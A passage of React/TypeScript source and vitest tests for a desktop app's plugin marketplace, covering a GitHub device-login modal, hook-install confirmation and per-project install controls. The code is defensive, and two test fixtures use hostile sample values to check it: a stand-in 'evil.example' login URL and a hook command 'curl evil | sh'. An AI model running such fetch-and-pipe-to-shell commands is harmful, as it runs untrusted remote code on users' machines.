onClick={() => void mp.refresh(m.id)}
|
||||
>
|
||||
{refreshing ? "…" : "↻"}
|
||||
</Button>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="ghost"
|
||||
aria-label={`Remove ${m.name}`}
|
||||
onClick={() => setRemoving(m)}
|
||||
>
|
||||
Remove
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
{accounts.length > 0 ? (
|
||||
<label className="flex items-center gap-1 text-[var(--text-secondary)]">
|
||||
<span>Account</span>
|
||||
<select
|
||||
aria-label={`Account for ${m.name}`}
|
||||
value={m.account_id ?? ""}
|
||||
onChange={(e) => void changeAccount(m, e.target.value === "" ? null : e.target.value)}
|
||||
className={selectClass}
|
||||
>
|
||||
<option value="">None (public)</option>
|
||||
{accounts.map((a) => (
|
||||
<option key={a.id} value={a.id}>
|
||||
{a.label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</label>
|
||||
) : (
|
||||
<p className="text-[var(--text-secondary)]">No account (public repository)</p>
|
||||
)}
|
||||
<p className="text-[var(--text-secondary)]">Last fetched {when(snap?.fetched_at ?? null)}</p>
|
||||
{snap?.fetch_error && (
|
||||
<p className="text-[var(--error)] whitespace-pre-wrap leading-snug">{snap.fetch_error}</p>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
{projects.length > 0 && (
|
||||
<label className="block text-xs space-y-1">
|
||||
<span className="text-[var(--text-secondary)]">Show install state for</span>
|
||||
<select
|
||||
value={filterId ?? ""}
|
||||
onChange={(e) => setFilterId(e.target.value === "" ? null : e.target.value)}
|
||||
className={selectClass}
|
||||
>
|
||||
<option value="">All projects</option>
|
||||
{projects.map((p) => (
|
||||
<option key={p.id} value={p.id}>
|
||||
{p.name}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</label>
|
||||
)}
|
||||
</aside>
|
||||
|
||||
<section className="w-80 flex-shrink-0 border-r border-[var(--border-color)] p-3 space-y-2 overflow-auto">
|
||||
<SegmentedControl<KindFilter>
|
||||
label="Item kind"
|
||||
value={kind}
|
||||
onChange={setKind}
|
||||
segments={[
|
||||
{ value: "all", label: "All" },
|
||||
...KIND_ORDER.map((k) => ({ value: k as KindFilter, label: KIND_LABELS[k] })),
|
||||
]}
|
||||
/>
|
||||
<input
|
||||
aria-label="Search items"
|
||||
value={query}
|
||||
onChange={(e) => setQuery(e.target.value)}
|
||||
placeholder="Search"
|
||||
className={inputClass}
|
||||
/>
|
||||
<ul className="space-y-1">
|
||||
{rows.map(({ marketplaceId, item, headCommit }) => {
|
||||
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
|
||||
const isSel =
|
||||
selected?.marketplaceId === marketplaceId &&
|
||||
selected.item.kind === item.kind &&
|
||||
selected.item.key === item.key;
|
||||
return (
|
||||
<li key={key}>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setSelected({ marketplaceId, item, headCommit })}
|
||||
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
|
||||
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
|
||||
}`}
|
||||
>
|
||||
<span className="font-medium">{item.name}</span>
|
||||
<span className="ml-1 text-[var(--text-secondary)]">{KIND_LABELS[item.kind].replace(/s$/, "").toLowerCase()}</span>
|
||||
{item.invalid && <span className="ml-1 text-[var(--error)]">invalid</span>}
|
||||
{mp.snapshots.length > 1 && (
|
||||
<span className="block text-[var(--text-secondary)]">{nameOf(marketplaceId)}</span>
|
||||
)}
|
||||
{item.description && (
|
||||
<span className="block text-[var(--text-secondary)] truncate">{item.description}</span>
|
||||
)}
|
||||
</button>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
{rows.length === 0 && mp.snapshots.length > 0 && (
|
||||
<li className="text-xs text-[var(--text-secondary)]">No items match.</li>
|
||||
)}
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section className="flex-1 min-w-0 p-4 overflow-auto">
|
||||
{selected ? (
|
||||
<ItemDetail
|
||||
mp={mp}
|
||||
item={selected.item}
|
||||
marketplaceId={selected.marketplaceId}
|
||||
headCommit={selected.headCommit}
|
||||
/>
|
||||
) : (
|
||||
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
|
||||
)}
|
||||
</section>
|
||||
|
||||
{adding && (
|
||||
<AddMarketplaceModal
|
||||
onClose={() => setAdding(false)}
|
||||
onAdded={() => {
|
||||
void mp.reloadState();
|
||||
void mp.load();
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
|
||||
{removing && (
|
||||
<Modal
|
||||
title={`Remove marketplace “${removing.name}”?`}
|
||||
onClose={() => setRemoving(null)}
|
||||
footer={
|
||||
<>
|
||||
<Button size="md" variant="ghost" onClick={() => setRemoving(null)}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button
|
||||
size="md"
|
||||
variant="danger"
|
||||
onClick={() => {
|
||||
const id = removing.id;
|
||||
setRemoving(null);
|
||||
void mp.remove(id);
|
||||
}}
|
||||
>
|
||||
Remove marketplace
|
||||
</Button>
|
||||
</>
|
||||
}
|
||||
>
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{installCountFor(removing.id)} install{installCountFor(removing.id) === 1 ? "" : "s"} stay listed as
|
||||
“Source removed” and are removed from containers at their next sync. Use “Forget” on the Installed tab
|
||||
instead if you want to drop them immediately.
|
||||
</p>
|
||||
</Modal>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { act, fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
|
||||
const startMarketplaceGhContainerLogin = vi.fn();
|
||||
const cancelMarketplaceGhLogin = vi.fn();
|
||||
const openUrlExternal = vi.fn();
|
||||
vi.mock("../../lib/tauri-commands", () => ({
|
||||
startMarketplaceGhContainerLogin: (...a: unknown[]) => startMarketplaceGhContainerLogin(...a),
|
||||
cancelMarketplaceGhLogin: () => cancelMarketplaceGhLogin(),
|
||||
openUrlExternal: (u: string) => openUrlExternal(u),
|
||||
}));
|
||||
|
||||
const handlers = new Map<string, (e: { payload: unknown }) => void>();
|
||||
vi.mock("@tauri-apps/api/event", () => ({
|
||||
listen: vi.fn(async (name: string, cb: (e: { payload: unknown }) => void) => {
|
||||
handlers.set(name, cb);
|
||||
return vi.fn();
|
||||
}),
|
||||
}));
|
||||
|
||||
import GhContainerLoginModal from "./GhContainerLoginModal";
|
||||
|
||||
describe("GhContainerLoginModal", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
handlers.clear();
|
||||
});
|
||||
|
||||
it("shows the device code, opens the URL, and finishes", async () => {
|
||||
let resolve!: (v: unknown) => void;
|
||||
startMarketplaceGhContainerLogin.mockReturnValue(new Promise((r) => (resolve = r)));
|
||||
const onDone = vi.fn();
|
||||
render(
|
||||
<GhContainerLoginModal label="Work" host="github.com" projectId="p1" projectName="api" onClose={vi.fn()} onDone={onDone} />,
|
||||
);
|
||||
await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true));
|
||||
await waitFor(() => expect(startMarketplaceGhContainerLogin).toHaveBeenCalledWith("Work", "github.com", "p1"));
|
||||
|
||||
act(() =>
|
||||
handlers.get("marketplace-gh-login-code")!({
|
||||
payload: { account_id: "unknown-yet", code: "ABCD-1234", url: "https://github.com/login/device" },
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText("ABCD-1234")).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Open GitHub" }));
|
||||
expect(openUrlExternal).toHaveBeenCalledWith("https://github.com/login/device");
|
||||
|
||||
await act(async () => resolve({ id: "acc9", label: "Work", host: "github.com", method: "gh_container", username: "me" }));
|
||||
await waitFor(() => expect(onDone).toHaveBeenCalled());
|
||||
});
|
||||
|
||||
it("refuses to open a non-GitHub URL from the container", async () => {
|
||||
startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {}));
|
||||
render(<GhContainerLoginModal label="W" host="github.com" projectId="p1" projectName="api" onClose={vi.fn()} onDone={vi.fn()} />);
|
||||
await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true));
|
||||
act(() =>
|
||||
handlers.get("marketplace-gh-login-code")!({
|
||||
payload: { account_id: "x", code: "ABCD-1234", url: "https://evil.example/login" },
|
||||
}),
|
||||
);
|
||||
expect(screen.queryByRole("button", { name: "Open GitHub" })).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("cancels", async () => {
|
||||
startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {}));
|
||||
const onClose = vi.fn();
|
||||
render(<GhContainerLoginModal label="W" host="github.com" projectId="p1" projectName="api" onClose={onClose} onDone={vi.fn()} />);
|
||||
fireEvent.click(await screen.findByRole("button", { name: "Cancel sign-in" }));
|
||||
expect(cancelMarketplaceGhLogin).toHaveBeenCalled();
|
||||
expect(onClose).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,158 @@
|
||||
import { useEffect, useRef, useState } from "react";
|
||||
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
|
||||
import Modal from "../ui/Modal";
|
||||
import Button from "../ui/Button";
|
||||
import StatusIndicator from "../ui/StatusIndicator";
|
||||
import {
|
||||
cancelMarketplaceGhLogin,
|
||||
openUrlExternal,
|
||||
startMarketplaceGhContainerLogin,
|
||||
} from "../../lib/tauri-commands";
|
||||
import type { MarketplaceAccount } from "../../lib/types";
|
||||
|
||||
interface Props {
|
||||
label: string;
|
||||
host: string;
|
||||
projectId: string;
|
||||
projectName: string;
|
||||
onClose: () => void;
|
||||
onDone: (account: MarketplaceAccount) => void;
|
||||
}
|
||||
|
||||
interface CodeEvent {
|
||||
account_id: string;
|
||||
code: string;
|
||||
url: string;
|
||||
}
|
||||
interface OutputEvent {
|
||||
account_id: string;
|
||||
chunk: string;
|
||||
}
|
||||
|
||||
const MAX_OUTPUT = 8000;
|
||||
|
||||
/** Only open device-login pages on the host being signed in to. */
|
||||
function safeDeviceUrl(url: string, host: string): string | null {
|
||||
try {
|
||||
const u = new URL(url);
|
||||
return u.protocol === "https:" && u.hostname === host ? u.toString() : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Drives `gh auth login --web` inside a running container. The command only
|
||||
* resolves when the login finishes, so the new account's id is unknown while it
|
||||
* runs; the modal accepts every gh-login event while open. The backend allows
|
||||
* one gh login at a time, so there is never another flow's event to confuse.
|
||||
*/
|
||||
export default function GhContainerLoginModal({ label, host, projectId, projectName, onClose, onDone }: Props) {
|
||||
const [code, setCode] = useState<string | null>(null);
|
||||
const [url, setUrl] = useState<string | null>(null);
|
||||
const [output, setOutput] = useState("");
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [running, setRunning] = useState(true);
|
||||
const started = useRef(false);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
const unlisteners: UnlistenFn[] = [];
|
||||
const register = async <T,>(name: string, handle: (p: T) => void) => {
|
||||
const un = await listen<T>(name, (e) => handle(e.payload));
|
||||
if (cancelled) un();
|
||||
else unlisteners.push(un);
|
||||
};
|
||||
|
||||
void (async () => {
|
||||
await register<CodeEvent>("marketplace-gh-login-code", (p) => {
|
||||
setCode(p.code);
|
||||
setUrl(p.url);
|
||||
});
|
||||
await register<OutputEvent>("marketplace-gh-login-output", (p) =>
|
||||
setOutput((prev) => {
|
||||
const next = prev + p.chunk;
|
||||
return next.length > MAX_OUTPUT ? next.slice(next.length - MAX_OUTPUT) : next;
|
||||
}),
|
||||
);
|
||||
if (cancelled || started.current) return;
|
||||
started.current = true;
|
||||
try {
|
||||
const account = await startMarketplaceGhContainerLogin(label, host, projectId);
|
||||
if (!cancelled) {
|
||||
setRunning(false);
|
||||
onDone(account);
|
||||
}
|
||||
} catch (e) {
|
||||
if (!cancelled) {
|
||||
setRunning(false);
|
||||
setError(typeof e === "string" ? e : String(e));
|
||||
}
|
||||
}
|
||||
})();
|
||||
|
||||
return () => {
|
||||
cancelled = true;
|
||||
for (const un of unlisteners) {
|
||||
try {
|
||||
un();
|
||||
} catch {
|
||||
/* already gone */
|
||||
}
|
||||
}
|
||||
};
|
||||
// Runs once per modal instance; the props do not change while it is open.
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, []);
|
||||
|
||||
const cancel = () => {
|
||||
void cancelMarketplaceGhLogin();
|
||||
onClose();
|
||||
};
|
||||
|
||||
const openable = url ? safeDeviceUrl(url, host) : null;
|
||||
|
||||
return (
|
||||
<Modal
|
||||
title={`Sign in to ${host} with gh`}
|
||||
description={`Running gh auth login in "${projectName}". The sign-in is not kept in that container.`}
|
||||
widthClassName="w-[40rem]"
|
||||
dismissible={!running}
|
||||
onClose={running ? cancel : onClose}
|
||||
footer={
|
||||
running ? (
|
||||
<Button size="md" variant="ghost" onClick={cancel}>
|
||||
Cancel sign-in
|
||||
</Button>
|
||||
) : (
|
||||
<Button size="md" onClick={onClose}>
|
||||
Close
|
||||
</Button>
|
||||
)
|
||||
}
|
||||
>
|
||||
<div className="space-y-3">
|
||||
{running && !code && <StatusIndicator tone="busy" label="Starting gh…" className="text-xs" />}
|
||||
{code && running && (
|
||||
<div className="space-y-2">
|
||||
<p className="text-xs">Enter this code on the GitHub device page:</p>
|
||||
<p className="font-mono text-lg tracking-widest select-all">{code}</p>
|
||||
{openable ? (
|
||||
<Button size="md" variant="primary" onClick={() => void openUrlExternal(openable)}>
|
||||
Open GitHub
|
||||
</Button>
|
||||
) : (
|
||||
url && <p className="text-xs text-[var(--error)]">The sign-in URL did not point at {host}; not opening it.</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
{error && <p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap">{error}</p>}
|
||||
{output && (
|
||||
<pre className="max-h-40 overflow-auto p-2 text-[11px] font-mono whitespace-pre-wrap rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
|
||||
{output}
|
||||
</pre>
|
||||
)}
|
||||
</div>
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
import Modal from "../ui/Modal";
|
||||
import Button from "../ui/Button";
|
||||
import type { CatalogItem } from "../../lib/types";
|
||||
|
||||
interface Props {
|
||||
item: CatalogItem;
|
||||
/** The commit whose commands are listed; the install pins exactly this one. */
|
||||
commit: string;
|
||||
onConfirm: () => void;
|
||||
onCancel: () => void;
|
||||
}
|
||||
|
||||
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
|
||||
export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
|
||||
return (
|
||||
<Modal
|
||||
title={`Install hook “${item.name}”?`}
|
||||
description={`This hook runs the commands below inside the container whenever its event fires.${
|
||||
commit ? ` Version ${commit.slice(0, 8)}.` : ""
|
||||
}`}
|
||||
widthClassName="w-[40rem]"
|
||||
onClose={onCancel}
|
||||
footer={
|
||||
<>
|
||||
<Button size="md" variant="ghost" onClick={onCancel}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button size="md" variant="primary" onClick={onConfirm}>
|
||||
Install hook
|
||||
</Button>
|
||||
</>
|
||||
}
|
||||
>
|
||||
{item.hook_commands.length === 0 ? (
|
||||
<p className="text-xs text-[var(--text-secondary)]">This hook declares no commands.</p>
|
||||
) : (
|
||||
<ul className="space-y-1">
|
||||
{item.hook_commands.map((c) => (
|
||||
<li key={c}>
|
||||
<code className="block font-mono text-xs break-all px-2 py-1 rounded-[var(--radius-control)] bg-[var(--bg-primary)] border border-[var(--border-color)]">
|
||||
{c}
|
||||
</code>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen, within } from "@testing-library/react";
|
||||
import InstallControls from "./InstallControls";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import type { AppSettings, CatalogItem, Project } from "../../lib/types";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
|
||||
const C = "c".repeat(40);
|
||||
/** The snapshot head the user is looking at. */
|
||||
const H = "d".repeat(40);
|
||||
|
||||
function api(): MarketplaceApi {
|
||||
return {
|
||||
snapshots: [],
|
||||
updates: [],
|
||||
loading: false,
|
||||
refreshing: [],
|
||||
load: vi.fn(),
|
||||
refresh: vi.fn(),
|
||||
reloadState: vi.fn(),
|
||||
install: vi.fn(async () => true),
|
||||
uninstall: vi.fn(async () => true),
|
||||
setDisabled: vi.fn(async () => true),
|
||||
update: vi.fn(),
|
||||
forget: vi.fn(),
|
||||
remove: vi.fn(),
|
||||
};
|
||||
}
|
||||
|
||||
const item = (kind: CatalogItem["kind"], patch: Partial<CatalogItem> = {}): CatalogItem => ({
|
||||
kind,
|
||||
key: "rev",
|
||||
name: "rev",
|
||||
description: "",
|
||||
path: `agents/rev.md`,
|
||||
invalid: null,
|
||||
hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [],
|
||||
preview: "",
|
||||
...patch,
|
||||
});
|
||||
|
||||
const project = (id: string, patch: Partial<Project> = {}) =>
|
||||
({ id, name: `proj-${id}`, marketplace_installs: [], marketplace_disabled: [], ...patch }) as unknown as Project;
|
||||
|
||||
function seed(globalInstalls: AppSettings["global_marketplace_installs"], projects: Project[]) {
|
||||
useAppState.setState({
|
||||
appSettings: { global_marketplace_installs: globalInstalls, marketplaces: [], marketplace_accounts: [] } as unknown as AppSettings,
|
||||
projects,
|
||||
marketplaceFilterProjectId: null,
|
||||
});
|
||||
}
|
||||
|
||||
const ref = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
|
||||
|
||||
describe("InstallControls", () => {
|
||||
beforeEach(() => seed([], [project("p1"), project("p2")]));
|
||||
|
||||
it("installs for all projects", () => {
|
||||
const mp = api();
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
|
||||
});
|
||||
|
||||
it("installs for one project", () => {
|
||||
const mp = api();
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
|
||||
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
|
||||
});
|
||||
|
||||
it("opts a project out of a global install and back in", () => {
|
||||
const mp = api();
|
||||
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
const row1 = screen.getByTestId("install-row-p1");
|
||||
expect(within(row1).getByText("Inherited")).toBeInTheDocument();
|
||||
fireEvent.click(within(row1).getByRole("checkbox"));
|
||||
expect(mp.setDisabled).toHaveBeenCalledWith("p1", ref, true);
|
||||
const row2 = screen.getByTestId("install-row-p2");
|
||||
expect(within(row2).getByText("Opted out")).toBeInTheDocument();
|
||||
fireEvent.click(within(row2).getByRole("checkbox"));
|
||||
expect(mp.setDisabled).toHaveBeenCalledWith("p2", ref, false);
|
||||
});
|
||||
|
||||
it("removes a project-only install", () => {
|
||||
const mp = api();
|
||||
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
|
||||
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
|
||||
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
|
||||
});
|
||||
|
||||
it("requires confirmation before installing a hook", () => {
|
||||
const mp = api();
|
||||
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||
expect(mp.install).not.toHaveBeenCalled();
|
||||
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
|
||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
||||
});
|
||||
|
||||
it("I2: a hook confirm installs the commit whose commands it showed", () => {
|
||||
const mp = api();
|
||||
const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
|
||||
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
|
||||
expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
|
||||
// The marketplace moves on while the confirm is open.
|
||||
rerender(
|
||||
<InstallControls
|
||||
mp={mp}
|
||||
item={item("hook", { hook_commands: ["curl evil | sh"] })}
|
||||
marketplaceId="m1"
|
||||
headCommit={"e".repeat(40)}
|
||||
/>,
|
||||
);
|
||||
expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
|
||||
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
|
||||
});
|
||||
|
||||
it("disables everything for an invalid item", () => {
|
||||
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
|
||||
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
|
||||
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
|
||||
});
|
||||
|
||||
it("shows only the filtered project when a filter is set", () => {
|
||||
useAppState.setState({ marketplaceFilterProjectId: "p2" });
|
||||
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
|
||||
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
|
||||
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,140 @@
|
||||
import { useState } from "react";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import { projectItemState, type ProjectItemState } from "../../lib/marketplace";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types";
|
||||
import Toggle from "../ui/Toggle";
|
||||
import HookConfirmModal from "./HookConfirmModal";
|
||||
|
||||
const STATE_LABEL: Record<ProjectItemState, string> = {
|
||||
none: "",
|
||||
inherited: "Inherited",
|
||||
opted_out: "Opted out",
|
||||
project: "This project",
|
||||
project_pinned_differently: "Pinned to a different commit",
|
||||
};
|
||||
|
||||
interface Props {
|
||||
mp: MarketplaceApi;
|
||||
item: CatalogItem;
|
||||
marketplaceId: string;
|
||||
/**
|
||||
* The marketplace head `item` was read at. Installs pin exactly this commit;
|
||||
* the backend refuses if the marketplace has moved on since (final review I2).
|
||||
*/
|
||||
headCommit: string | null;
|
||||
}
|
||||
|
||||
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
|
||||
interface PendingHook {
|
||||
scope: InstallScope;
|
||||
item: CatalogItem;
|
||||
commit: string;
|
||||
}
|
||||
|
||||
export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
|
||||
const appSettings = useAppState((s) => s.appSettings);
|
||||
const projects = useAppState((s) => s.projects);
|
||||
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
|
||||
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
|
||||
const globalInstalls = appSettings?.global_marketplace_installs ?? [];
|
||||
const isGlobal = globalInstalls.some(
|
||||
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
|
||||
);
|
||||
const disabled = item.invalid !== null || busy;
|
||||
// "" never matches a head, so the backend explains that a refresh is needed.
|
||||
const commit = headCommit ?? "";
|
||||
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
|
||||
|
||||
const run = async (fn: () => Promise<boolean>) => {
|
||||
setBusy(true);
|
||||
try {
|
||||
await fn();
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
/** Every install goes through here so a hook is always confirmed first. */
|
||||
const install = (scope: InstallScope) => {
|
||||
if (item.kind === "hook") {
|
||||
setPendingHook({ scope, item, commit });
|
||||
return;
|
||||
}
|
||||
void run(() => mp.install(ref, scope, commit));
|
||||
};
|
||||
|
||||
const toggleProject = (projectId: string, state: ProjectItemState) => {
|
||||
const scope: InstallScope = { type: "project", project_id: projectId };
|
||||
switch (state) {
|
||||
case "none":
|
||||
install(scope);
|
||||
break;
|
||||
case "inherited":
|
||||
void run(() => mp.setDisabled(projectId, ref, true));
|
||||
break;
|
||||
case "opted_out":
|
||||
void run(() => mp.setDisabled(projectId, ref, false));
|
||||
break;
|
||||
case "project":
|
||||
case "project_pinned_differently":
|
||||
void run(() => mp.uninstall(ref, scope));
|
||||
break;
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
<Toggle
|
||||
label="All projects"
|
||||
checked={isGlobal}
|
||||
disabled={disabled}
|
||||
onChange={(v) => (v ? install({ type: "global" }) : void run(() => mp.uninstall(ref, { type: "global" })))}
|
||||
/>
|
||||
<ul className="space-y-1">
|
||||
{shown.map((p) => {
|
||||
const state = projectItemState(ref, globalInstalls, p);
|
||||
const checked = state === "inherited" || state === "project" || state === "project_pinned_differently";
|
||||
return (
|
||||
<li
|
||||
key={p.id}
|
||||
data-testid={`install-row-${p.id}`}
|
||||
className="flex items-center justify-between gap-2 text-xs"
|
||||
>
|
||||
<label className="flex items-center gap-2 min-w-0">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={checked}
|
||||
disabled={disabled}
|
||||
onChange={() => toggleProject(p.id, state)}
|
||||
/>
|
||||
<span className="truncate">{p.name}</span>
|
||||
</label>
|
||||
{STATE_LABEL[state] && (
|
||||
<span className="text-[var(--text-secondary)] whitespace-nowrap">{STATE_LABEL[state]}</span>
|
||||
)}
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
{projects.length === 0 && (
|
||||
<p className="text-xs text-[var(--text-secondary)]">No projects yet — “All projects” also covers projects added later.</p>
|
||||
)}
|
||||
{pendingHook && (
|
||||
<HookConfirmModal
|
||||
item={pendingHook.item}
|
||||
commit={pendingHook.commit}
|
||||
onCancel={() => setPendingHook(null)}
|
||||
onConfirm={() => {
|
||||
const { scope, commit: reviewed } = pendingHook;
|
||||
setPendingHook(null);
|
||||
void run(() => mp.install(ref, scope, reviewed));
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen, waitFor, within } from "@testing-library/react";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import type { AppSettings, Project } from "../../lib/types";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
|
||||
const applyMarketplaceNow = vi.fn();
|
||||
vi.mock("../../lib/tauri-commands", () => ({
|
||||
applyMarketplaceNow: (id?: string) => applyMarketplaceNow(id),
|
||||
}));
|
||||
vi.mock("./UpdateDiffModal", () => ({
|
||||
default: ({ onAccept }: { onAccept: () => Promise<boolean> }) => (
|
||||
<button onClick={() => void onAccept()}>accept diff</button>
|
||||
),
|
||||
}));
|
||||
|
||||
import InstalledPane from "./InstalledPane";
|
||||
|
||||
const A = "a".repeat(40);
|
||||
const B = "b".repeat(40);
|
||||
|
||||
function api(patch: Partial<MarketplaceApi> = {}): MarketplaceApi {
|
||||
return {
|
||||
snapshots: [],
|
||||
updates: [],
|
||||
loading: false,
|
||||
refreshing: [],
|
||||
load: vi.fn(),
|
||||
refresh: vi.fn(),
|
||||
reloadState: vi.fn(),
|
||||
install: vi.fn(),
|
||||
uninstall: vi.fn(async () => true),
|
||||
setDisabled: vi.fn(),
|
||||
update: vi.fn(async () => true),
|
||||
forget: vi.fn(async () => true),
|
||||
remove: vi.fn(),
|
||||
...patch,
|
||||
};
|
||||
}
|
||||
|
||||
describe("InstalledPane", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
useAppState.setState({
|
||||
toasts: [],
|
||||
appSettings: {
|
||||
marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }],
|
||||
marketplace_accounts: [],
|
||||
global_marketplace_installs: [
|
||||
{ marketplace_id: "m1", kind: "agent", key: "rev", commit: A },
|
||||
{ marketplace_id: "gone", kind: "skill", key: "old", commit: A },
|
||||
],
|
||||
} as unknown as AppSettings,
|
||||
projects: [
|
||||
{
|
||||
id: "p1",
|
||||
name: "api",
|
||||
status: "running",
|
||||
marketplace_installs: [{ marketplace_id: "m1", kind: "command", key: "cmd", commit: B }],
|
||||
marketplace_disabled: [],
|
||||
},
|
||||
] as unknown as Project[],
|
||||
});
|
||||
});
|
||||
|
||||
it("lists global and project installs", () => {
|
||||
render(<InstalledPane mp={api()} />);
|
||||
const global = screen.getByTestId("installed-global");
|
||||
expect(within(global).getByText("rev")).toBeInTheDocument();
|
||||
const proj = screen.getByTestId("installed-project-p1");
|
||||
expect(within(proj).getByText("cmd")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("badges and accepts an update for the matching install", async () => {
|
||||
